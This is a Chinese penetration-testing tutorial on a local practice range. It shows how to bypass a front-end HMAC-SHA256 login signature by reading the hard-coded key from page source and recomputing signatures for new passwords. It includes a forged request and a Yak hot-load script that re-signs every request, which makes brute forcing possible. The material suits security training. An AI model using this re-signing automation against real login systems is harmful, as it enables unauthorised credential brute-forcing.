渗透测试-前端验签绕过之SHA256
本文是高级前端加解密与验签实战的第1篇文章，本系列文章实验靶场为Yakit里自带的Vulinbox靶场，本文讲述的是绕过SHA256签名来爆破登录。绕过
https://img2024.cnblogs.com/blog/2855436/202412/2855436-20241214005130112-183765002.png
通过查看源代码可以看到key为
1234123412341234https://img2024.cnblogs.com/blog/2855436/202412/2855436-20241214005133198-1662357300.png
通过查看源代码可以看到是通过SHA256来举行签名的，他把哀求体的username和password字段提取，然后举行加密。
username=admin&password=admin123https://img2024.cnblogs.com/blog/2855436/202412/2855436-20241214005136827-1401035207.png
利用Cyberchief加密，最终得到加密值为：fc4b936199576dd7671db23b71100b739026ca9dcb3ae78660c4ba3445d0654d
https://img2024.cnblogs.com/blog/2855436/202412/2855436-20241214005139852-723382500.png
可以看到本身计算和前端计算的同等：
https://img2024.cnblogs.com/blog/2855436/202412/2855436-20241214005143563-741888526.png
修改暗码，重新构造签名：
username=admin&password=666666
=>
26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffeehttps://img2024.cnblogs.com/blog/2855436/202412/2855436-20241214005148499-2079865334.png
发送哀求，可以看到验签成功，暗码正确登岸成功，自此签名绕过成功。
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
{
"signature": "26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee",
"key": "31323334313233343132333431323334",
"username": "admin",
"password": "666666"
}https://img2024.cnblogs.com/blog/2855436/202412/2855436-20241214005152327-1303090435.png
热加载
这是我写的热加载代码，通过beforeRequest挟制哀求包，利用encryptData函数举行加密，最终实现热加载主动签名功能。
encryptData = (packet) => { body = poc.GetHTTPPacketBody(packet) params = json.loads(body) //获取账号和暗码 name = params.username pass= params.password key = "31323334313233343132333431323334" //十六进制密钥 //HmacSha256加密 signText = f`username=${name}&password=${pass}` sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText)) //构造哀求体 result = f`{"username":"${name}","password":"${pass}","signature":"${sign}","key":"${key}"}` return string(poc.ReplaceBody(packet, result, false))}//发送到服务端修改数据包// beforeRequest = func(req){// return encryptData(req)// }//调试用packet =
页:
[1]